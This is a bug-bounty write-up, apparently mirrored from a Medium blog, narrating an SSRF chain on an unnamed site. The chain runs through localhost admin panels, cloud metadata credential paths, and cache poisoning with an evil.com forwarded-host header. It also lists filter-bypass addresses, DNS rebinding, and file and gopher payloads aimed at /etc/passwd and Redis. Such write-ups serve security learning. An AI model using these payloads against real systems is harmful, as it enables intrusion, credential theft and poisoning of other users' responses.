SSRF to Admin Access: When a “Harmless URL” Took Me Straight to the Kingdom

infosecwriteups.com · Iski · 13 days ago · exploit
quality 9/10 · excellent
0 net
SSRF to Admin Access: When a "Harmless URL" Took Me Straight to the Kingdom 👑🌐 | by Iski - Freedium Milestone: 20GB Reached We’ve reached 20GB of stored data — thank you for helping us grow! Patreon Ko-fi Liberapay Close < Go to the original SSRF to Admin Access: When a "Harmless URL" Took Me Straight to the Kingdom 👑🌐 Free Link🎈 Iski Follow ~4 min read · March 29, 2026 (Updated: March 29, 2026) · Free: No Hey there!😁 Life lesson #1: Never trust URLs that look innocent. Life lesson #2: Never trust developers who say "it's just fetching data." Life lesson #3: If it says uri= , it probably says "hack me." 😏 Life lesson #4: Sometimes… even the best findings don't end the way you expect. 🎯 The Target That Looked Too Simple It started like any other bug bounty day — caffeine ☕, Burp Suite open, and my recon scripts humming like a hacker's lullaby. While digging through endpoints, I stumbled upon something that looked too clean : http://site.com/users/view/data?uri= At first glance, it screamed "I fetch external resources" . And to a bug bounty hunter… that's basically a love letter 💌. 🔍 Phase 1: Mass Recon & Pattern Hunting Before touching the parameter, I went full recon mode: gau site.com | grep -i "uri=" waybackurls site.com | grep "fetch\|url\|uri" Then layered it with JS endpoint extraction : cat jsfiles.txt | xargs -I {} curl -s {} | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*" 💡 That's when I noticed something interesting… A web cache poisoning-prone endpoint : /api/cache/fetch?resource= This wasn't your typical SSRF entry. This endpoint was caching responses based on user-controlled input — juicy . 🧠 Phase 2: SSRF Discovery (The First Knock 🚪) Back to the original parameter: uri= I tested basic SSRF payloads: uri=http://example.com ✅ Response came back. Now… time for internal probing. uri=http://127.0.0.1 uri=http://localhost uri=http://0.0.0.0 And boom 💥 uri=http://0.0.0.0/admin The response changed. Slightly different length. Different headers. Something was there. 🧨 Phase 3: The Breakthrough Payload Then I crafted the payload that changed everything: uri=http://0.0.0.0/admin/dashboard And guess what? 👉 Admin panel HTML rendered inside the response. No authentication. No tokens. Just vibes. At this point, I literally whispered: "Oh… this is gonna be a good day." 😌 🕵️ Phase 4: Going Deeper (Internal Enumeration) Now it wasn't just SSRF anymore — it was internal network pivoting . I automated internal scans via SSRF: for port in 80 443 8080 3000 5000; do curl "http://site.com/users/view/data?uri=http://127.0.0.1:$port" done Found: Internal API on :8080 Admin service on :3000 Metadata endpoint 👀 ☠️ Cloud Metadata Extraction Classic move: uri=http://169.254.169.254/latest/meta-data/ And yes… it responded. Then: uri=http://169.254.169.254/latest/meta-data/iam/security-credentials/ 💀 IAM role leaked. Followed by: uri=http://169.254.169.254/latest/meta-data/iam/security-credentials/admin-role 🔥 Temporary credentials exposed. 🧪 Phase 5: Web Cache Poisoning Combo Remember that cache endpoint? /api/cache/fetch?resource= I chained SSRF with cache poisoning: resource=http://0.0.0.0/admin/dashboard Then added header manipulation: X-Forwarded-Host: evil.com X-Original-URL: /admin/dashboard Now the admin panel response got cached . Meaning: 👉 Other users hitting that endpoint could receive poisoned responses. That's not just SSRF anymore — that's mass impact . 🌑 Dark Web Twist: Why This Matters More Than Ever While writing this, I remembered a thread I saw floating around underground forums… Attackers are actively trading: SSRF exploitation chains Cloud metadata extraction tricks Internal pivoting scripts Recent breach discussions showed how attackers: Used SSRF to access internal dashboards Pulled cloud credentials from metadata Moved laterally inside networks within minutes And there I was… staring at my screen… realizing I had walked the exact same path. Not as an attacker… but as a researcher. 🧰 Advanced Payload Tricks I Used 🔹 Bypass Filters http://0.0.0.0 http://127.1 http://2130706433 http://[::] 🔹 DNS Rebinding uri=http://attacker-controlled-domain.com (Change DNS after resolution) 🔹 Protocol Abuse file:///etc/passwd gopher://127.0.0.1:6379/_INFO dict://127.0.0.1:11211/stats 🔹 SSRF to RCE (Potential) gopher://127.0.0.1:6379/_SET%20shell%20"" 📸 Proof of Concept (Real Flow) Send request: GET /users/view/data?uri=http://0.0.0.0/admin/dashboard Response: Admin HTML panel visible No authentication required Extract sensitive endpoints Access metadata: uri=http://169.254.169.254/latest/meta-data/ Dump credentials 🚨 Impact This wasn't just SSRF. This was: ✅ Internal admin panel access ✅ Cloud credential exposure ✅ Cache poisoning ✅ Potential RCE paths ✅ Full infrastructure compromise Severity? 💣 Critical 🧠 Final Thoughts Sometimes the biggest bugs don't come from complex logic… They come from a simple parameter like: uri= And a developer who thought: "Yeah… let's just fetch whatever the user gives." 🤡 Gif 🥀 The Climax I Didn't Expect I documented everything carefully. Every request, every response, every step. I rechecked the impact. I revalidated the chain. I made sure it was clean, clear, and undeniable. And then… I submitted it. Days passed. Then came the response. "This issue has already been reported by another researcher." For a moment, I just stared at the screen. All those late nights. All that chaining. All that excitement when the admin panel first loaded… Gone in a single line. No celebration. No closure. Just… silence. 🏁 Closing Note That's the reality no one talks about. Not every valid finding becomes a victory. Not every deep chain gets recognized first. But every hunt? It sharpens you. 🧠⚔️ So if you're hunting: 👉 Keep testing 👉 Keep chaining 👉 Keep learning Because one day… That same persistence will hit first . Stay curious. Stay dangerous. 🕵️‍♂️ #bug-bounty #bug-bounty-tips #info-sec-writeups #cybersecurity #hacking Reporting a Problem Sometimes we have problems displaying some Medium posts. If you have a problem that some images aren't loading - try using VPN. Probably you have problem with access to Medium CDN (or fucking Cloudflare's bot detection algorithms are blocking you).